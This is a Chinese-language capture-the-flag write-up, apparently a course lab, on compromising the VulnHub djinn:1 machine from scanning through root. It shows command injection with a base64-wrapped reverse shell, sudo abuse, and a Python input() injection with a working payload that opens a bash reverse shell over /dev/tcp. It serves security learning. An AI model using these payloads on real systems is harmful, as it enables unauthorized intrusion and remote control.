网络攻防实战 lab08 靶机 VulnHub djinn:1

感觉不像靶机,像解密游戏

地址发现

arp-scan -l

得到地址为 10.0.2.9

端口发现与服务版本探测

nmap -p- 10.0.2.9
sudo nmap -p21,22,1337,7331 -sV -sC 10.0.2.9

发现有四个端口,其中 22 是 ftp 文件传输服务可以尝试匿名登录;21 是 SSH 服务不过被 filtered 了;1337 是 waste? 神秘服务;7331 是 http 服务。

ftp 文件传输

先通过匿名获取一下 ftp 的文件。发现有三个文件。

其中 creds.txtmessage.txt 都没有明确有效信息,game.txt 很有意思:
image

指导我们去 1337 端口玩一个小游戏。

1337 端口

打开后是一个算数游戏,提示说 1000 次游戏可以有奖励,可以考虑用一个脚本玩 1000 次。

中途我发现游戏的运算结果竟然可以是小数,这让我好奇它的答案判定逻辑了,于是我尝试在答案中输入表达式:

image

发现真的可以通过,因此完全可以断定这里是类似 eval() 的逻辑,必然存在注入漏洞。但是尝试了一番没有结果。

7331 端口

主页没有东西,所以先使用目录爆破:

dirb http://10.0.2.9:7331 /usr/share/dirb/wordlists/big.txt

image

可以发现两个隐藏路径:geniewish

其中 genie 是无法交互的界面,而 wish 很有发现。注意到输入框前面是 Execute,因此在里面输入一些指令试试。

发现 lspwdwhoami 都可以,而 cat /etc/passwd 不行。可以推测,这里有一个黑名单。

我们尝试直接使用这东西获得一个反弹 shell。显然由于我们不知道黑名单里有啥,所以我们要把反弹 shell 的指令包装一下。用 base 64 加密后送入交互框,便得到了一个反弹 shell。

image

查看 app.py

查看 app.py 后,发现里面有一个神秘文件,因此打开看看。

image

发现:

nitish:p4ssw0rdStr3r0n9

这暗示我们该用户的密码就是这个,因此切换用户,也确实成功。

利用 nitish 的权限

sudo -l

查看 nitish 究竟有什么权限,可以发现一个 /usr/bin/genie 文件。

image

最终通过 man 手册和一些猜测,得到了 sam 的权限。

执行

sudo -u sam ./genie -cmd 1

获得了 sam 的用户身份。

通过 sam 身份获取 root 权限

先查询 sam 的权限。

sudo -l

发现 /usr/bin/lago 可以无密码运行,但是没能发现什么线索。

观察一下 sam 独有的权限,进入 /home/sam 查看,发现一个 .pyc 文件,尝试解析这个文件。

# 传输文件
cat .pyc | nc 10.0.2.15 4444
nc -nlvp > 1.pyc

发现了 /usr/bin/lago 的源码

def guessit():
    num = randint(1, 101)
    print 'Choose a number between 1 to 100: '
    s = input('Enter your number: ')
    if s == num:
        system('/bin/sh')
    else:
        print 'Better Luck next time'

这里就有一个 input 的漏洞,它会类似 eval 解析输入,因此直接输入 num 即可通过猜数游戏,并获得 root 权限。

9

1337 端口的漏洞

拥有了 root 权限,可以轻松看到猜数游戏的源码,同样是 input 的问题,因此在猜数游戏中使用:

> 1+__import__('os').system('bash -c "bash -i >& /dev/tcp/10.0.2.15/4444 0>&1"')

就可以直接得到权限!

posted @ 2025-11-27 16:46  哼唧昂叽  阅读(0)  评论(0)    收藏  举报